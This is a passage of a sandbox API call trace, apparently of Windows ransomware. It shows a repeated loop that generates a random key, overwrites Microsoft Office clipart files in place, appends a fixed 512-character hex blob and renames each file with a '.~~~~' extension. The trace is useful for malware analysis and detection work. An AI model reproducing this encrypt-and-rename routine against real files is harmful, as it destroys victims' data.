	[0095.179] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0095.179] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0095.179] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0095.179] CloseHandle (hObject=0x12c) returned 1
	[0095.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0095.180] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.~~~~")) returned 1
	[0095.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0095.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0095.206] GetLastError () returned 0x0
	[0095.206] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0095.214] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0095.214] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0095.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0095.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0095.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0095.214] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21520439473) returned 1
	[0095.214] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa275cff0, dwHighDateTime=0x1d60e1e)) 
	[0095.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0095.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0095.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0095.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3888e0
	[0095.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0095.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3888e0 | out: hHeap=0x300000) returned 1
	[0095.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0095.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0095.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0095.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0095.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f720
	[0095.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0095.215] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0095.215] GetLastError () returned 0x0
	[0095.231] GetLastError () returned 0x0
	[0095.231] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0095.231] GetLastError () returned 0x0
	[0095.231] GetLastError () returned 0x0
	[0095.234] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.234] WriteFile (in: hFile=0x12c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0095.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0095.235] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.235] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0095.235] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0095.235] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0095.235] CloseHandle (hObject=0x12c) returned 1
	[0095.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dad38
	[0095.236] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.~~~~")) returned 1
	[0095.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dad38 | out: hHeap=0x300000) returned 1
	[0095.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0095.237] GetLastError () returned 0x0
	[0095.237] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0095.238] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0095.238] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0095.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0095.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0095.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0095.238] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21522838421) returned 1
	[0095.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa27a92b0, dwHighDateTime=0x1d60e1e)) 
	[0095.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0095.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0095.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0095.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0095.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0095.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0095.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0095.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0095.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dad38
	[0095.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0095.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f7b8
	[0095.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dad38 | out: hHeap=0x300000) returned 1
	[0095.239] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0095.239] GetLastError () returned 0x0
	[0095.239] GetLastError () returned 0x0
	[0095.239] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0095.239] GetLastError () returned 0x0
	[0095.240] GetLastError () returned 0x0
	[0096.004] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.005] WriteFile (in: hFile=0x12c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0096.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0096.005] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.005] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.006] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.006] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.006] CloseHandle (hObject=0x12c) returned 1
	[0096.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.006] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.~~~~")) returned 1
	[0096.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0096.007] GetLastError () returned 0x0
	[0096.027] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0096.028] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.028] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0096.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0096.028] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21601853384) returned 1
	[0096.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa2f3f8d0, dwHighDateTime=0x1d60e1e)) 
	[0096.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0096.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0096.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0096.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a98b8
	[0096.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a98b8 | out: hHeap=0x300000) returned 1
	[0096.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283fb48
	[0096.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.029] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0096.029] GetLastError () returned 0x0
	[0096.029] GetLastError () returned 0x0
	[0096.029] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0096.029] GetLastError () returned 0x0
	[0096.029] GetLastError () returned 0x0
	[0096.134] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff8098, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.134] WriteFile (in: hFile=0x12c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x7f68, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x7f68, lpOverlapped=0x0) returned 1
	[0096.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0096.135] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.135] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.135] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.135] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.136] CloseHandle (hObject=0x12c) returned 1
	[0096.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.136] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.~~~~")) returned 1
	[0096.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0096.137] GetLastError () returned 0x0
	[0096.137] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0096.138] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.138] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0096.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0096.138] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21612826876) returned 1
	[0096.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa30703d0, dwHighDateTime=0x1d60e1e)) 
	[0096.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0096.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0096.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0096.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283fff8
	[0096.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283fff8 | out: hHeap=0x300000) returned 1
	[0096.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283fc78
	[0096.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.156] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0096.157] GetLastError () returned 0x0
	[0096.157] GetLastError () returned 0x0
	[0096.157] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0096.157] GetLastError () returned 0x0
	[0096.157] GetLastError () returned 0x0
	[0096.241] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffd430, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.241] WriteFile (in: hFile=0x12c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x2bd0, lpOverlapped=0x0) returned 1
	[0096.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0096.242] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.242] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.243] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.243] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.243] CloseHandle (hObject=0x12c) returned 1
	[0096.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.243] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.~~~~")) returned 1
	[0096.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0096.244] GetLastError () returned 0x0
	[0096.244] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0096.245] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.245] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0096.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0096.245] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21623540939) returned 1
	[0096.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa3154c10, dwHighDateTime=0x1d60e1e)) 
	[0096.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0096.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0096.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0096.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28400a0
	[0096.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28400a0 | out: hHeap=0x300000) returned 1
	[0096.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283fed8
	[0096.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.246] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0096.246] GetLastError () returned 0x0
	[0096.246] GetLastError () returned 0x0
	[0096.246] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0096.246] GetLastError () returned 0x0
	[0096.246] GetLastError () returned 0x0
	[0096.327] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffcd9c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.327] WriteFile (in: hFile=0x12c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x3264, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x3264, lpOverlapped=0x0) returned 1
